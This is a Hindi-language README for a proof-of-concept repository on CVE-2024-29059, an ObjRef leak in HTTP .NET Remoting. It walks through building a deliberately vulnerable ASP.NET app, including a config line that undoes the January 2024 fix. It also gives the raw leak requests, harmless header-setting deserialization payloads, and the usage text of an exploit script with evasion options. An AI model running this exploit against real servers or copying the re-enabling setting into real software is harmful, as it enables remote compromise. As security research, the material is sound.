HTTP .NET Remoting के माध्यम से ObjRefs को लीक करना और उनका शोषण (CVE-2024-29059)

यह रिपॉज़िटरी CODE WHITE ब्लॉग पोस्ट Leaking ObjRefs to Exploit HTTP .NET Remoting के अतिरिक्त विवरण और संसाधन प्रदान करती है:

1. एक संवेदनशील ASP.NET वेब एप्लिकेशन बनाना
2. ObjRef लीक का पता लगाना
3. उदाहरण deserialization पेलोड जो TypeFilterLevel.Low प्रतिबंधों के अंतर्गत काम करते हैं
4. पेलोड वितरित करने के लिए exploit स्क्रिप्ट

1. एक संवेदनशील ASP.NET वेब एप्लिकेशन बनाना

निम्नलिखित Microsoft द्वारा Configure Application Insights for your ASP.NET website पर आधारित है और यह वर्णन करता है कि Visual Studio 2019 (.NET Framework 4.5.2 को लक्षित करने के लिए आवश्यक; आप इसे https://aka.ms/vs/16/release/vs_community.exe से डाउनलोड कर सकते हैं) और Microsoft Application Insights के साथ एक संवेदनशील ASP.NET वेब एप्लिकेशन कैसे बनाएँ:

1. Visual Studio 2019 खोलें।
2. File > New > Project चुनें।
3. ASP.NET Web Application (.NET Framework) C# चुनें, फिर Next चुनें।
4. .NET Framework 4.5.2 चुनें, फिर Create चुनें।
5. Empty चुनें, फिर Create चुनें।
6. Project > Add Application Insights Telemetry चुनें।
7. Application Insights SDK (local) चुनें, फिर Next चुनें।
8. NuGet packages चेक करें, फिर Finish पर क्लिक करें।

यदि जनवरी 2024 के .NET Framework अपडेट इंस्टॉल हैं, तो Web.config फ़ाइल खोलें और /configuration/appSettings के अंतर्गत निम्नलिखित जोड़कर संवेदनशील व्यवहार को पुनः सक्षम करें:

<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />

आप वेब एप्लिकेशन को Debug > Start Without Debugging के माध्यम से या Ctrl+F5 दबाकर चला सकते हैं।

2. ObjRef लीक का पता लगाना

LogicalCallContext में संग्रहीत MarshalByRefObject इंस्टेंस के ObjRef को लीक करने के लिए आप निम्नलिखित अनुरोधों का उपयोग कर सकते हैं:

• BinaryServerFormatterSink:

  root@kitploit:~

  GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
  __RequestVerb: POST
  Content-Type: application/octet-stream
  

• SoapServerFormatterSink:

  root@kitploit:~

  GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
  __RequestVerb: POST
  Content-Type: text/xml
  

लीक हुए ObjRef URI का मिलान फिर निम्नलिखित regex का उपयोग करके किया जा सकता है:

/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem

3. उदाहरण Deserialization पेलोड

हमने YSoSerial.Net के TextFormattingRunProperties gadget के आधार पर दो सरल deserialization पेलोड बनाए हैं, जिनमें कस्टम XAML पेलोड हैं जो TypeFilterLevel.Low के कारण उत्पन्न प्रतिबंधों के अंतर्गत काम करते हैं, ताकि निम्नलिखित कार्य किए जा सकें:

• HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
• HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

HTTP हेडर को HTTP .NET Remoting अनुरोध के प्रति सर्वर की प्रतिक्रिया में देखा जा सकता है।

4. Exploit स्क्रिप्ट

RemoteApplicationMetadata.py स्क्रिप्ट मौजूदा ObjRef को लीक करने और फिर उसे किसी दिए गए पेलोड को वितरित करने के लिए बाद के अनुरोध में उपयोग करने का एक तरीका प्रदान करती है:

usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]

positional arguments:
  url                   target URL (without `RemoteApplicationMetadata.rem`)
  file                  BinaryFormatter/SoapFormatter payload file (default: stdin)

options:
  -h, --help            show this help message and exit
  -c, --chunked         use chunked Transfer-Encoding for request
  --chunk-range CHUNK_RANGE
                        range to pick the chunk size from randomly, e. g., 1-10
  -e, --encoding        apply a random non ASCII-based encoding on SOAP
  -f {binary,soap}, --format {binary,soap}
                        targeted runtime serializer format (default: soap)
  -u, --use-generic-uri
                        use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
  -v, --verbose         print verbose info

उदाहरण:

./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v